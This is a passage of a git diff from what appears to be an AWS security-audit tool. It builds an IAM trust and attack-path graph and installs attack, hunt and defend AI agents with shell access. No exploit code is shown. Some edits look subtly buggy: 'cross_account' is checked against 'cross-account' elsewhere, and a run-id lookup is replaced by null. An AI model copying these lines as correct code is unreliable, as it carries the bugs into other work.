'codebuild_project') { + allNodes.push({ id: 'compute:codebuild:' + finding.resource_id, label: finding.resource_id, type: 'compute', _source: 'api' }); + } + } + + // Gateway tier + for (const finding of apigateway.findings || []) { + if (['apigateway_rest_api', 'apigateway_http_api', 'apigateway_websocket_api'].includes(finding.resource_type)) { + allNodes.push({ id: 'gateway:apigw:' + finding.resource_id, label: finding.resource_id, type: 'gateway', _source: 'api' }); + } + } + + // Messaging tier + for (const finding of sns.findings || []) { + if (finding.resource_type === 'sns_topic') { + allNodes.push({ id: 'messaging:sns:' + finding.resource_id, label: finding.resource_id, type: 'messaging', _source: 'api' }); + } + } + for (const finding of sqs.findings || []) { + if (finding.resource_type === 'sqs_queue') { + allNodes.push({ id: 'messaging:sqs:' + finding.resource_id, label: finding.resource_id, type: 'messaging', _source: 'api' }); + } + } + + // AI tier + for (const finding of bedrock.findings || []) { + if (finding.resource_type === 'bedrock_agent') { + allNodes.push({ id: 'ai:bedrock:' + finding.resource_id, label: finding.resource_id, type: 'ai', _source: 'api' }); + } + } + + // Identity Provider tier + for (const finding of cognito.findings || []) { + if (finding.resource_type === 'cognito_identity_pool' || finding.resource_type === 'cognito_user_pool') { + allNodes.push({ id: 'idp:cognito:' + finding.resource_id, label: finding.resource_id, type: 'idp', _source: 'api' }); + } + } + + // OIDC provider nodes (from iam.json oidc_provider findings) + for (const finding of iam.findings || []) { + if (finding.resource_type === 'oidc_provider') { + allNodes.push({ id: 'oidc:' + finding.url, label: finding.url, type: 'oidc', _source: 'api' }); + } + } + + // Deduplicate by .id, sort by .id + return deduplicateAndSort(allNodes, n => n.id); +} + +/** + * Extract all graph edges from module data. + * Edge types (D-13): + * - Trust edges from IAM roles (not service-linked), for each trust_relationship + * - Membership edges from IAM users, for each group + * - executes_as: lambda/ec2/codebuild/bedrock -> IAM role + * - invokes: apigateway -> lambda function + * - authenticates_to: cognito identity pool -> IAM role, oidc provider -> IAM role + * Deduplicated by [source, target, edge_type], sorted by same composite key. + */ +function extractEdges(iam, lambda, ec2, codebuild, bedrock, apigateway, cognito) { + const allEdges = []; + + for (const finding of iam.findings || []) { + // Trust edges: from IAM roles (not service-linked) + if (finding.resource_type === 'iam_role' && !finding.is_service_linked) { + const trusts = finding.trust_relationships || []; + for (const tr of trusts) { + let source; + if (tr.trust_type === 'service') { + source = 'svc:' + tr.principal; + } else if (tr.trust_type === 'wildcard') { + source = 'external:anonymous'; + } else if (tr.trust_type === 'cross-account') { + source = 'external:' + tr.principal; + } else if (tr.trust_type === 'same-account') { + if (tr.principal.indexOf(':user/') !== -1) { + source = 'user:' + tr.principal.split('/').pop(); + } else if (tr.principal.indexOf(':role/') !== -1) { + source = 'role:' + tr.principal.split('/').pop(); + } else { + source = 'external:' + tr.principal; + } + } else if (tr.trust_type === 'federated') { + source = 'external:' + tr.principal; + } else { + source = 'external:' + tr.principal; + } + + allEdges.push({ + source: source, + target: 'role:' + finding.resource_id, + edge_type: tr.trust_type === 'service' ? 'service' : 'trust', + trust_type: tr.trust_type, + severity: tr.risk, + label: 'can_assume', + _source: 'api' + }); + } + } + + // Membership edges: from IAM users + if (finding.resource_type === 'iam_user') { + const groups = finding.groups || []; + for (const group of groups) { + allEdges.push({ + source: 'user:' + finding.resource_id, + target: 'group:' + group, + edge_type: 'membership', + label: 'member_of', + _source: 'api' + }); + } + } + } + + // Compute -> IAM: executes_as edges + for (const finding of lambda.findings || []) { + if (finding.resource_type === 'lambda_function' && finding.role) { + const roleName = finding.role.split('/').pop(); + allEdges.push({ + source: 'compute:lambda:' + finding.resource_id, + target: 'role:' + roleName, + edge_type: 'executes_as', + label: 'executes_as', + _source: 'api' + }); + } + } + for (const finding of ec2.findings || []) { + if (finding.resource_type === 'ec2_instance' && finding.iam_instance_profile?.arn) { + // NOTE: Uses instance profile name as role name proxy — may mismatch if profile and role names differ. Full fix requires ec2.js to include role name. + const roleName = finding.iam_instance_profile.arn.split('/').pop(); + allEdges.push({ + source: 'compute:ec2:' + finding.resource_id, + target: 'role:' + roleName, + edge_type: 'executes_as', + label: 'executes_as', + _source: 'api' + }); + } + } + for (const finding of codebuild.findings || []) { + if (finding.resource_type === 'codebuild_project' && finding.service_role) { + const roleName = finding.service_role.split('/').pop(); + allEdges.push({ + source: 'compute:codebuild:' + finding.resource_id, + target: 'role:' + roleName, + edge_type: 'executes_as', + label: 'executes_as', + _source: 'api' + }); + } + } + for (const finding of bedrock.findings || []) { + if (finding.resource_type === 'bedrock_agent' && finding.execution_role_arn) { + const roleName = finding.execution_role_arn.split('/').pop(); + allEdges.push({ + source: 'ai:bedrock:' + finding.resource_id, + target: 'role:' + roleName, + edge_type: 'executes_as', + label: 'executes_as', + _source: 'api' + }); + } + } + + // Gateway -> Compute: API Gateway invokes Lambda + for (const finding of apigateway.findings || []) { + for (const lambdaArn of finding.lambda_integrations || []) { + const fnName = lambdaArn.split(':function:').pop()?.split(':')[0] || lambdaArn; + allEdges.push({ + source: 'gateway:apigw:' + finding.resource_id, + target: 'compute:lambda:' + fnName, + edge_type: 'invokes', + label: 'invokes', + _source: 'api' + }); + } + } + + // Identity Provider -> IAM: Cognito authenticates_to roles + for (const finding of cognito.findings || []) { + if (finding.resource_type === 'cognito_identity_pool') { + if (finding.authenticated_role_arn) { + const roleName = finding.authenticated_role_arn.split('/').pop(); + allEdges.push({ + source: 'idp:cognito:' + finding.resource_id, + target: 'role:' + roleName, + edge_type: 'authenticates_to', + label: 'authenticates_to', + _source: 'api' + }); + } + if (finding.unauthenticated_role_arn) { + const roleName = finding.unauthenticated_role_arn.split('/').pop(); + allEdges.push({ + source: 'idp:cognito:' + finding.resource_id, + target: 'role:' + roleName, + edge_type: 'authenticates_to', + label: 'authenticates_to', + _source: 'api' + }); + } + } + } + + // OIDC provider -> IAM: authenticates_to roles (from iam.json oidc_provider findings) + for (const finding of iam.findings || []) { + if (finding.resource_type === 'oidc_provider') { + for (const roleArn of finding.assumed_role_arns || []) { + const roleName = roleArn.split('/').pop(); + const trustCond = (finding.trust_conditions || []).find( + c => c && (c.principal === finding.arn || c.principal === finding.url) + ) || null; + allEdges.push({ + source: 'oidc:' + finding.url, + target: 'role:' + roleName, + edge_type: 'authenticates_to', + label: 'authenticates_to', + conditions: trustCond, + _source: 'api' + }); + } + } + } + + // Deduplicate by [source, target, edge_type], sort by same composite key + return deduplicateAndSort(allEdges, e => e.source + '\0' + e.target + '\0' + e.edge_type); +} + +/** + * Deduplicate items by a key function, then sort by that key. + * Preserves first occurrence for duplicates. + */ +function deduplicateAndSort(items, keyFn) { + const seen = new Map(); + for (const item of items) { + const key = keyFn(item); + if (!seen.has(key)) { + seen.set(key, item); + } + } + const unique = Array.from(seen.values()); + unique.sort((a, b) => keyFn(a).localeCompare(keyFn(b))); + return unique; +} + +main(); diff --git a/bin/generate-report.js b/bin/generate-report.js index 1d6a672..e47cb22 100755 --- a/bin/generate-report.js +++ b/bin/generate-report.js @@ -101,9 +101,8 @@ if (existsSync(dashboardIndexPath)) { const file = run.file || `${run.run_id}.json`; const filePath = join(publicDir, file); if (!existsSync(filePath)) { - // Orphan entry — the data file is gone; skip AND delete any leftover file + // Orphan entry — the data file is gone; skip orphanCount++; - try { unlinkSync(filePath); } catch (_) { /* already gone */ } console.log(`[SCOPE] Culled orphan dashboard entry: ${run.run_id}`); continue; } @@ -199,9 +198,6 @@ if (existsSync(join(publicDir, "index.json"))) { } // 2. Fallback: parse iam.json from the audit run directory for role trust policies if (edges.length === 0 && run.run_id) { - // Build node ID lookup to match edge format to existing node IDs - const nodeById = {}; - for (const n of json.graph.nodes || []) nodeById[n.id] = n; // Detect format: ARN-based ("arn:aws:...") or short ("user:name") const firstId = json.graph.nodes?.[0]?.id || ""; const useArns = firstId.startsWith("arn:"); @@ -211,37 +207,21 @@ if (existsSync(join(publicDir, "index.json"))) { if (existsSync(iamPath)) { try { const iam = JSON.parse(readFileSync(iamPath, "utf-8")); - const roles = iam?.findings?.roles?.Roles || []; - const accountId = json.account_id || ""; + const roles = (iam?.findings || []).filter(f => f.resource_type === 'iam_role'); for (const role of roles) { - const trustDoc = role.AssumeRolePolicyDocument; - if (!trustDoc) continue; - const policy = typeof trustDoc === "string" ? JSON.parse(decodeURIComponent(trustDoc)) : trustDoc; - for (const stmt of policy.Statement || []) { - if (stmt.Effect !== "Allow") continue; - const principals = []; - const p = stmt.Principal; - if (typeof p === "string") principals.push(p); - else if (p?.AWS) { - const aws = Array.isArray(p.AWS) ? p.AWS : [p.AWS]; - principals.push(...aws); - } - for (const prin of principals) { - // Match the node ID format used in the graph - let srcId, tgtId; - if (useArns) { - srcId = prin === "*" ? "external:*" : prin; - tgtId = role.Arn || `arn:aws:iam::${accountId}:role/${role.RoleName}`; - } else { - srcId = prin.includes(":user/") ? `user:${prin.split("/").pop()}` - : prin.includes(":role/") ? `role:${prin.split("/").pop()}` - : prin === "*" ? "external:*" : prin; - tgtId = `role:${role.RoleName}`; - } - const trustType = prin.includes(accountId) && accountId ? "same-account" - : prin === "*" ? "wildcard" : "cross-account"; - edges.push({ source: srcId, target: tgtId, trust_type: trustType, edge_type: "trust", label: "can_assume" }); - } + if (!role.trust_relationships) continue; + for (const tr of role.trust_relationships) { + if (!tr.principal) continue; + const isExternal = tr.trust_type === 'cross_account' || tr.trust_type === 'federated' || tr.trust_type === 'wildcard'; + const targetId = isExternal + ? `external:${tr.principal}` + : `role:${tr.principal.split('/').pop()}`; + edges.push({ + source: `role:${role.resource_id}`, + target: targetId, + type: 'trusts', + label: `${tr.trust_type} trust`, + }); } } if (edges.length > 0) console.log(`[SCOPE] Derived ${edges.length} trust edges from iam.json`); @@ -364,7 +344,7 @@ if (!outputPath) { } else { // Derive filename from the latest run ID to avoid overwriting prior dashboards. // Each run gets its own dashboard file (e.g., audit-20260408-123456-all-dashboard.html). - const latestRunId = Object.values(inlineData)[0]?._run_id + const latestRunId = null || (existsSync(join(publicDir, "index.json")) ? (JSON.parse(readFileSync(join(publicDir, "index.json"), "utf-8")).runs?.[0]?.run_id) : null); diff --git a/bin/install.js b/bin/install.js index 62766af..95ec11e 100755 --- a/bin/install.js +++ b/bin/install.js @@ -16,14 +16,20 @@ const os = require('os'); // --------------------------------------------------------------------------- // Editor directory mapping // --------------------------------------------------------------------------- +// Skills directories per platform — each gets its own path for clean separation. +// Claude: .claude/skills/ (only path Claude Code scans) +// Gemini: .gemini/skills/ (native path — Gemini also scans .agents/skills/ but we use +// .gemini/skills/ to keep platform installs separated. Only one platform is +// installed at a time so .agents/skills/ precedence is not an issue.) +// Codex: .agents/skills/ (only user-install path — no .codex/skills/ exists) const EDITOR_DIRS = { claude: { global: path.join(os.homedir(), '.claude', 'skills'), local: path.join(process.cwd(), '.claude', 'skills'), }, gemini: { - global: path.join(os.homedir(), '.agents', 'skills'), - local: path.join(process.cwd(), '.agents', 'skills'), + global: path.join(os.homedir(), '.gemini', 'skills'), + local: path.join(process.cwd(), '.gemini', 'skills'), }, codex: { global: path.join(os.homedir(), '.agents', 'skills'), @@ -31,6 +37,19 @@ const EDITOR_DIRS = { }, }; +// --------------------------------------------------------------------------- +// Model tier configuration (single source of truth) +// --------------------------------------------------------------------------- + +const MODELS_CONFIG_PATH = path.join(__dirname, '..', 'config', 'models.json'); +let MODELS_CONFIG; +try { + MODELS_CONFIG = JSON.parse(fs.readFileSync(MODELS_CONFIG_PATH, 'utf8')); +} catch (err) { + console.error(`Error: config/models.json not found or invalid JSON.\n Path: ${MODELS_CONFIG_PATH}\n ${err.message}`); + process.exit(1); +} + // --------------------------------------------------------------------------- // YAML frontmatter parser (manual — no yaml library required) // --------------------------------------------------------------------------- @@ -94,6 +113,55 @@ function rebuildFrontmatter(frontmatter, omitKeys) { return lines.join('\n'); } +// --------------------------------------------------------------------------- +// @include resolver +// --------------------------------------------------------------------------- + +/** + * Resolve @include directives in agent body content. + * Directives must appear on their own line: "@include path/to/file.md" + * Paths are relative to repoRoot. No nesting — shared files are leaf content. + * + * @param {string} content Agent body content (after frontmatter extraction) + * @param {string} repoRoot Absolute path to repo root + * @returns {string} Content with all @include directives expanded + */ +function resolveIncludes(content, repoRoot) { + const includeRe = /^@include\s+(\S+)$/gm; + let match; + // Collect all directives first to detect them before mutation + const directives = []; + while ((match = includeRe.exec(content)) !== null) { + directives.push({ full: match[0], filePath: match[1] }); + } + + if (directives.length === 0) return content; + + let expanded = content; + for (const directive of directives) { + const absPath = path.join(repoRoot, directive.filePath); + if (!fs.existsSync(absPath)) { + console.error(`Error: @include references missing file: ${absPath}`); + process.exit(1); + } + const included = fs.readFileSync(absPath, 'utf8'); + // Reject nesting + if (/^@include\s+\S+$/m.test(included)) { + console.error(`Error: @include nesting not allowed. File ${absPath} contains @include directives.`); + process.exit(1); + } + expanded = expanded.replace(directive.full, included.trimEnd()); + } + + // Post-expansion safety check: no unresolved @include should remain + if (/^@include\s+\S+$/m.test(expanded)) { + console.error(`Error: Unresolved @include directive remains after expansion. Check for edge cases.`); + process.exit(1); + } + + return expanded; +} + // --------------------------------------------------------------------------- // Per-editor transformation functions // --------------------------------------------------------------------------- @@ -105,6 +173,13 @@ function installClaude(skillName, skillMdContent, targetDir) { const dest = path.join(targetDir, skillName); fs.mkdirSync(dest, { recursive: true }); const destFile = path.join(dest, 'SKILL.md'); + // Strip fields not valid for skills (model, maxTurns, etc.) + const SKILL_STRIP_KEYS = ['model', 'maxTurns', 'max_turns', 'timeout_mins', 'kind']; + const parsed = parseFrontmatter(skillMdContent); + if (parsed) { + const fm = rebuildFrontmatter(parsed.frontmatter, SKILL_STRIP_KEYS); + skillMdContent = `---\n${fm}\n---\n\n${parsed.body}`; + } fs.writeFileSync(destFile, skillMdContent, 'utf8'); return destFile; } @@ -122,7 +197,7 @@ function installGemini(skillName, skillMdContent, targetDir) { } const { frontmatter, body } = parsed; - const GEMINI_STRIP_KEYS = ['argument-hint', 'disable-model-invocation', 'color', 'compatibility', 'memory', 'context', 'agent']; + const GEMINI_STRIP_KEYS = ['argument-hint', 'disable-model-invocation', 'color', 'compatibility', 'memory', 'context', 'agent', 'model', 'maxTurns', 'max_turns']; const cleanedFm = rebuildFrontmatter(frontmatter, GEMINI_STRIP_KEYS); const cleanedContent = `---\n${cleanedFm}\n---\n\n${body}`; @@ -146,7 +221,7 @@ function installCodex(skillName, skillMdContent, targetDir) { } const { frontmatter, body } = parsed; - const CODEX_STRIP_KEYS = ['argument-hint', 'color', 'compatibility', 'disable-model-invocation', 'allowed-tools', 'tools', 'memory', 'context', 'agent']; + const CODEX_STRIP_KEYS = ['argument-hint', 'color', 'compatibility', 'disable-model-invocation', 'allowed-tools', 'tools', 'memory', 'context', 'agent', 'model', 'maxTurns', 'max_turns']; const cleanedFm = rebuildFrontmatter(frontmatter, CODEX_STRIP_KEYS); const cleanedContent = `---\n${cleanedFm}\n---\n\n${body}`; @@ -165,6 +240,7 @@ function installCodex(skillName, skillMdContent, targetDir) { // All others (defend) are auto-called internally and should NOT be installed as skills. const INSTALLABLE_AGENTS = new Set([ 'scope-audit', + 'scope-defend', 'scope-exploit', 'scope-hunt', ]); @@ -177,40 +253,45 @@ const TOP_LEVEL_SUBAGENTS = new Set([ 'scope-defend', ]); -// Model assignments for subagents — two-tier routing. -// Tier 1 (haiku): Enum subagents — structured CLI data collection, no reasoning. -// Fast and cheap; haiku is correct for AWS API calls and JSON output. -// Tier 2 (sonnet): Reasoning agents — attack path analysis and defensive controls. -// These agents evaluate policy chains, generate SCP/RCP policies, and write SPL. -// Explicit sonnet pin prevents session-model inheritance (e.g., --model haiku) -// from silently degrading security-critical reasoning to an under-powered model. -// scope-verify and scope-pipeline are NOT deployed as subagents — they are read inline. -const SUBAGENT_MODELS = { - claude: { - enum: 'claude-haiku-4-5', - reasoning: 'claude-sonnet-4-6', - }, - gemini: { - enum: 'gemini-3.1-flash-lite-preview', - reasoning: 'gemini-3.1-pro-preview', - }, - codex: { - enum: 'gpt-5.4-mini', - reasoning: 'gpt-5.4', - }, -}; - -const REASONING_AGENTS = new Set([ - 'scope-attack-paths', - 'scope-defend', - 'scope-hunt-investigate', - 'scope-hunt-intel', - 'scope-hunt-audit', -]); - -function getModelForAgent(agentName, editor) { - const tier = REASONING_AGENTS.has(agentName) ? 'reasoning' : 'enum'; - return SUBAGENT_MODELS[editor]?.[tier] || SUBAGENT_MODELS.claude[tier]; +/** + * Resolve a tier label (or literal model string) from source frontmatter to + * a vendor-specific model name for the given platform. + * + * - "enum" → config/models.json[platform].enum + * - "reasoning" → config/models.json[platform].reasoning + * - "inherit" → null (no model field in installed output) + * - anything else → returned as-is (literal model string, backward compat) + * + * @param {string|undefined} modelValue Value of the model: field in source frontmatter + * @param {string} platform "claude" | "gemini" | "codex" + * @returns {string|null} Resolved model string, or null for inherit + */ +function resolveModelTier(modelValue, platform) { + if (!modelValue) return null; + const tiers = ['enum', 'reasoning', 'inherit']; + if (tiers.includes(modelValue)) { + // Tier keyword — resolve to platform-specific model name + if (modelValue === 'inherit') return null; + const resolved = MODELS_CONFIG[platform]?.[modelValue]; + if (!resolved) { + console.error(`Error: config/models.json missing key [${platform}][${modelValue}]`); + process.exit(1); + } + return resolved; + } + // Literal model string — reverse-lookup the tier from ANY platform, then resolve for target. + // This handles cross-platform install: source has "claude-sonnet-4-6" (literal), + // target is gemini → find that "claude-sonnet-4-6" = reasoning tier → resolve to gemini reasoning model. + for (const [sourcePlatform, tiers] of Object.entries(MODELS_CONFIG)) { + for (const [tier, model] of Object.entries(tiers)) { + if (model === modelValue && tier !== 'inherit') { + const resolved = MODELS_CONFIG[platform]?.[tier]; + if (resolved) return resolved; + } + } + } + // No mapping found — pass through unchanged (custom model string) + return modelValue; } /** @@ -266,18 +347,17 @@ function discoverAgents(agentsDir) { * Returns array of { name: string, content: string }. */ function discoverSubagents(subagentsDir) { - // Files that are read inline by source agents — do NOT deploy as subagents - const INLINE_ONLY = new Set(['scope-verify', 'scope-pipeline']); - const subagents = []; // Primary: agents/subagents/ directory + // All .md files are installed for discoverability (D-22, D-23). + // scope-pipeline and scope-verify are read inline at runtime but their .md files + // are present in agents/ directories so platforms can discover them. if (fs.existsSync(subagentsDir)) { const entries = fs.readdirSync(subagentsDir, { withFileTypes: true }); for (const entry of entries) { if (!entry.isFile() || !entry.name.endsWith('.md')) continue; const name = entry.name.replace(/\.md$/, ''); - if (INLINE_ONLY.has(name)) continue; const filePath = path.join(subagentsDir, entry.name); const content = fs.readFileSync(filePath, 'utf8'); const parsed = parseFrontmatter(content); @@ -332,6 +412,34 @@ function pruneStaleSubagentFiles(agentsDir, installedNames) { return pruned; } +/** + * Prune stale Codex .toml config layer files from target agents directory. + * Deletes any .toml file whose basename (without .toml) is NOT in the current installed set. + * Companion to pruneStaleSubagentFiles() — handles Codex-specific .toml artifacts. + * + * @param {string} agentsDir - Target agents directory (e.g., .codex/agents/) + * @param {Set} installedNames - Set of currently-valid agent names from discoverSubagents() + * @returns {number} Count of pruned files + */ +function pruneStaleTomlFiles(agentsDir, installedNames) { + if (!fs.existsSync(agentsDir)) return 0; + const existing = fs.readdirSync(agentsDir).filter(f => f.endsWith('.toml')); + let pruned = 0; + for (const file of existing) { + const name = file.replace(/\.toml$/, ''); + if (!installedNames.has(name)) { + fs.unlinkSync(path.join(agentsDir, file)); + const displayPath = path.join(agentsDir, file).replace(os.homedir(), '~'); + console.log(` Pruned stale Codex config layer: ${displayPath}`); + pruned++; + } + } + if (pruned > 0) { + console.log(`Pruned ${pruned} stale Codex .toml file(s)`); + } + return pruned; +} + /** * Claude Code subagent deployment. * Deploys flat .md files to .claude/agents/ (local) or ~/.claude/agents/ (global). @@ -345,15 +453,24 @@ function installSubagentsClaude(subagents, scope) { fs.mkdirSync(agentsDir, { recursive: true }); let count = 0; + const repoRoot = path.join(__dirname, '..'); + for (const subagent of subagents) { const parsed = parseFrontmatter(subagent.content); let content = subagent.content; if (parsed) { const { frontmatter, body } = parsed; - frontmatter.model = getModelForAgent(subagent.name, 'claude'); - const fm = rebuildFrontmatter(frontmatter, []); - content = `---\n${fm}\n---\n\n${body}`; + const originalModel = frontmatter.model; // capture BEFORE any mutation + const includeCount = (body.match(/^@include\s+\S+$/gm) || []).length; + const expandedBody = resolveIncludes(body, repoRoot); + const resolvedModel = resolveModelTier(frontmatter.model, 'claude'); + const omitKeys = resolvedModel === null ? ['model'] : []; + if (resolvedModel !== null) frontmatter.model = resolvedModel; + const fm = rebuildFrontmatter(frontmatter, omitKeys); + content = `---\n${fm}\n---\n\n${expandedBody}`; + const tierLabel = originalModel || 'inherit'; + console.log(` [${subagent.name}] includes=${includeCount} tier=${tierLabel}->${resolvedModel ?? 'inherit'} chars=${content.length}`); } const destFile = path.join(agentsDir, `${subagent.name}.md`); @@ -380,49 +497,64 @@ function installSubagentsGemini(subagents, scope) { fs.mkdirSync(agentsDir, { recursive: true }); const GEMINI_STRIP_KEYS = ['argument-hint', 'disable-model-invocation', 'allowed-tools', 'tools', 'color', 'compatibility', 'memory', 'context', 'agent', 'maxTurns']; - // Model routing handled by getModelForAgent('name', 'gemini') let count = 0; // Gemini defaults: max_turns=15 — too low for SCOPE agents. // Inject appropriate turn limits and explicit tool access per agent type. - // NOTE: timeout_mins removed — was causing agents to be killed mid-execution. + // Agents NOT in this config lose their tools field entirely (stripped by GEMINI_STRIP_KEYS). + // Source frontmatter tools: values are comma-separated strings — Gemini needs YAML arrays. const GEMINI_AGENT_CONFIG = { - 'scope-enum-iam': { max_turns: 50, tools: ['run_shell_command', 'read_file', 'grep_search'] }, - 'scope-enum-ec2': { max_turns: 50, tools: ['run_shell_command', 'read_file', 'grep_search'] }, - 'scope-enum-s3': { max_turns: 40, tools: ['run_shell_command', 'read_file', 'grep_search'] }, - 'scope-enum-lambda': { max_turns: 40, tools: ['run_shell_command', 'read_file', 'grep_search'] }, - 'scope-enum-kms': { max_turns: 30, tools: ['run_shell_command', 'read_file', 'grep_search'] }, - 'scope-enum-secrets': { max_turns: 30, tools: ['run_shell_command', 'read_file', 'grep_search'] }, - 'scope-enum-sts': { max_turns: 30, tools: ['run_shell_command', 'read_file', 'grep_search'] }, - 'scope-enum-rds': { max_turns: 30, tools: ['run_shell_command', 'read_file', 'grep_search'] }, - 'scope-enum-sns': { max_turns: 30, tools: ['run_shell_command', 'read_file', 'grep_search'] }, - 'scope-enum-sqs': { max_turns: 30, tools: ['run_shell_command', 'read_file', 'grep_search'] }, - 'scope-enum-apigateway': { max_turns: 30, tools: ['run_shell_command', 'read_file', 'grep_search'] }, - 'scope-enum-codebuild': { max_turns: 30, tools: ['run_shell_command', 'read_file', 'grep_search'] }, - 'scope-attack-paths': { max_turns: 80, tools: ['run_shell_command', 'read_file', 'grep_search', 'write_file'] }, - 'scope-defend': { max_turns: 60, tools: ['run_shell_command', 'read_file', 'grep_search', 'write_file'] }, + 'scope-attack-compute': { max_turns: 60, tools: ['run_shell_command', 'read_file', 'grep_search', 'write_file'] }, + 'scope-attack-data': { max_turns: 60, tools: ['run_shell_command', 'read_file', 'grep_search', 'write_file'] }, + 'scope-attack-identity': { max_turns: 60, tools: ['run_shell_command', 'read_file', 'grep_search', 'write_file'] }, + 'scope-attack-network': { max_turns: 60, tools: ['run_shell_command', 'read_file', 'grep_search', 'write_file'] }, + 'scope-attack-synthesizer': { max_turns: 60, tools: ['run_shell_command', 'read_file', 'grep_search', 'write_file'] }, + 'scope-defend': { max_turns: 60, tools: ['run_shell_command', 'read_file', 'grep_search', 'write_file'] }, + 'scope-defend-guardrails': { max_turns: 40, tools: ['run_shell_command', 'read_file', 'grep_search', 'write_file'] }, + 'scope-defend-policy': { max_turns: 40, tools: ['run_shell_command', 'read_file', 'grep_search', 'write_file'] }, + 'scope-defend-remediation': { max_turns: 40, tools: ['run_shell_command', 'read_file', 'grep_search', 'write_file'] }, + 'scope-defend-splunk': { max_turns: 40, tools: ['run_shell_command', 'read_file', 'grep_search', 'write_file'] }, + 'scope-defend-validate': { max_turns: 40, tools: ['run_shell_command', 'read_file', 'grep_search', 'write_file'] }, + 'scope-hunt-audit': { max_turns: 40, tools: ['run_shell_command', 'read_file', 'grep_search', 'write_file'] }, + 'scope-hunt-intel': { max_turns: 40, tools: ['run_shell_command', 'read_file', 'grep_search', 'write_file', 'google_web_search', 'web_fetch'] }, + 'scope-hunt-investigate': { max_turns: 40, tools: ['run_shell_command', 'read_file', 'grep_search', 'write_file'] }, + 'scope-research': { max_turns: 40, tools: ['run_shell_command', 'read_file', 'grep_search', 'google_web_search', 'web_fetch'] }, + 'scope-synthesizer': { max_turns: 40, tools: ['run_shell_command', 'read_file', 'write_file', 'grep_search', 'glob'] }, + 'scope-pipeline': { max_turns: 30, tools: ['run_shell_command', 'read_file', 'write_file', 'glob'] }, + 'scope-verify': { max_turns: 30, tools: ['run_shell_command', 'read_file', 'grep_search', 'write_file', 'google_web_search', 'web_fetch'] }, }; + const repoRoot = path.join(__dirname, '..'); + for (const subagent of subagents) { const parsed = parseFrontmatter(subagent.content); let content = subagent.content; if (parsed) { const { frontmatter, body } = parsed; + const originalModel = frontmatter.model; // capture BEFORE any mutation + const includeCount = (body.match(/^@include\s+\S+$/gm) || []).length; + const expandedBody = resolveIncludes(body, repoRoot); // Inject Gemini-specific config const config = GEMINI_AGENT_CONFIG[subagent.name]; if (config) { frontmatter.max_turns = String(config.max_turns); } // Inject platform-specific model - frontmatter.model = getModelForAgent(subagent.name, 'gemini'); - const fm = rebuildFrontmatter(frontmatter, GEMINI_STRIP_KEYS); + const resolvedModel = resolveModelTier(frontmatter.model, 'gemini'); + const geminiOmitKeys = resolvedModel === null + ? [...GEMINI_STRIP_KEYS, 'model'] + : GEMINI_STRIP_KEYS; + if (resolvedModel !== null) frontmatter.model = resolvedModel; + const fm = rebuildFrontmatter(frontmatter, geminiOmitKeys); // Build tools as YAML array (rebuildFrontmatter only handles strings) let toolsYaml = ''; if (config && config.tools) { toolsYaml = '\ntools:\n' + config.tools.map(t => ` - ${t}`).join('\n'); } - content = `---\n${fm}${toolsYaml}\n---\n\n${body}`; + content = `---\n${fm}${toolsYaml}\n---\n\n${expandedBody}`; + const tierLabel = originalModel || 'inherit'; + console.log(` [${subagent.name}] includes=${includeCount} tier=${tierLabel}->${resolvedModel ?? 'inherit'} chars=${content.length}`); } const destFile = path.join(agentsDir, `${subagent.name}.md`); @@ -473,17 +605,34 @@ function installSubagentsCodex(subagents, scope) { const CODEX_STRIP_KEYS = ['model', 'argument-hint', 'color', 'compatibility', 'disable-model-invocation', 'allowed-tools', 'tools', 'memory', 'context', 'agent', 'maxTurns']; let count = 0; const tomlEntries = []; + const repoRoot = path.join(__dirname, '..'); + + // CODEX_NO_REGISTER: installed for discoverability (.md present on disk) but not + // registered in config.toml (prevents accidental dispatch of inline-read agents). + const CODEX_NO_REGISTER = new Set(['scope-pipeline', 'scope-verify']); for (const subagent of subagents) { const parsed = parseFrontmatter(subagent.content); let content = subagent.content; let description = subagent.name; + let sourceFrontmatter = null; + let expandedBody = null; if (parsed) { const { frontmatter, body } = parsed; + const originalModel = frontmatter.model; // capture BEFORE any mutation + const includeCount = (body.match(/^@include\s+\S+$/gm) || []).length; + expandedBody = resolveIncludes(body, repoRoot); + sourceFrontmatter = frontmatter; if (frontmatter.description) description = frontmatter.description; - const fm = rebuildFrontmatter(frontmatter, CODEX_STRIP_KEYS); - content = `---\n${fm}\n---\n\n${body}`; + const resolvedModel = resolveModelTier(frontmatter.model, 'codex'); + const codexMdOmitKeys = resolvedModel === null + ? CODEX_STRIP_KEYS // 'model' already in CODEX_STRIP_KEYS + : CODEX_STRIP_KEYS; // model goes to .toml only, not the .md + const fm = rebuildFrontmatter(frontmatter, codexMdOmitKeys); + content = `---\n${fm}\n---\n\n${expandedBody}`; + const tierLabel = originalModel || 'inherit'; + console.log(` [${subagent.name}] includes=${includeCount} tier=${tierLabel}->${resolvedModel ?? 'inherit'} chars=${content.length}`); } // Deploy stripped .md file @@ -493,7 +642,7 @@ function installSubagentsCodex(subagents, scope) { console.log(` Installing subagent ${subagent.name} -> ${displayMd}`); count++; - const codexModel = getModelForAgent(subagent.name, 'codex'); + const codexModel = resolveModelTier(sourceFrontmatter?.model, 'codex') || MODELS_CONFIG['codex']['enum']; const reasoningEffort = 'medium'; // Generate per-agent .toml config layer. @@ -506,7 +655,7 @@ function installSubagentsCodex(subagents, scope) { // // developer_instructions: full .md body inlined as TOML multi-line literal string ('''). // Sent as role=developer message (higher priority than AGENTS.md). - const mdBody = parsed ? parsed.body : subagent.content; + const mdBody = expandedBody !== null ? expandedBody : (parsed ? parsed.body : subagent.content); const agentToml = [ `# SCOPE subagent config layer — auto-generated by bin/install.js`, `# Referenced from .codex/config.toml via config_file = "agents/${subagent.name}.toml"`, @@ -523,6 +672,13 @@ function installSubagentsCodex(subagents, scope) { `'''`, ].join('\n') + '\n'; + // CODEX_NO_REGISTER agents: installed as .md for discoverability but skip .toml + // generation entirely — Codex scans .toml files from agents/ and rejects those + // without a name field, producing "malformed agent role definition" warnings. + if (CODEX_NO_REGISTER.has(subagent.name)) { + continue; + } + const destToml = path.join(agentsDir, `${subagent.name}.toml`); fs.writeFileSync(destToml, agentToml, 'utf8'); const displayToml = destToml.replace(os.homedir(), '~'); @@ -550,7 +706,7 @@ function installSubagentsCodex(subagents, scope) { const scopeHeader = '# --- SCOPE subagent registrations (auto-generated) ---'; const scopeFooter = '# --- END SCOPE subagent registrations ---'; // [agents] global must appear BEFORE [agents.*] sub-tables in TOML - const agentsGlobalBlock = '[agents]\nmax_threads = 16\nmax_depth = 1\njob_max_runtime_seconds = 3600\n'; + const agentsGlobalBlock = '[agents]\nmax_threads = 16\nmax_depth = 2\njob_max_runtime_seconds = 3600\n'; 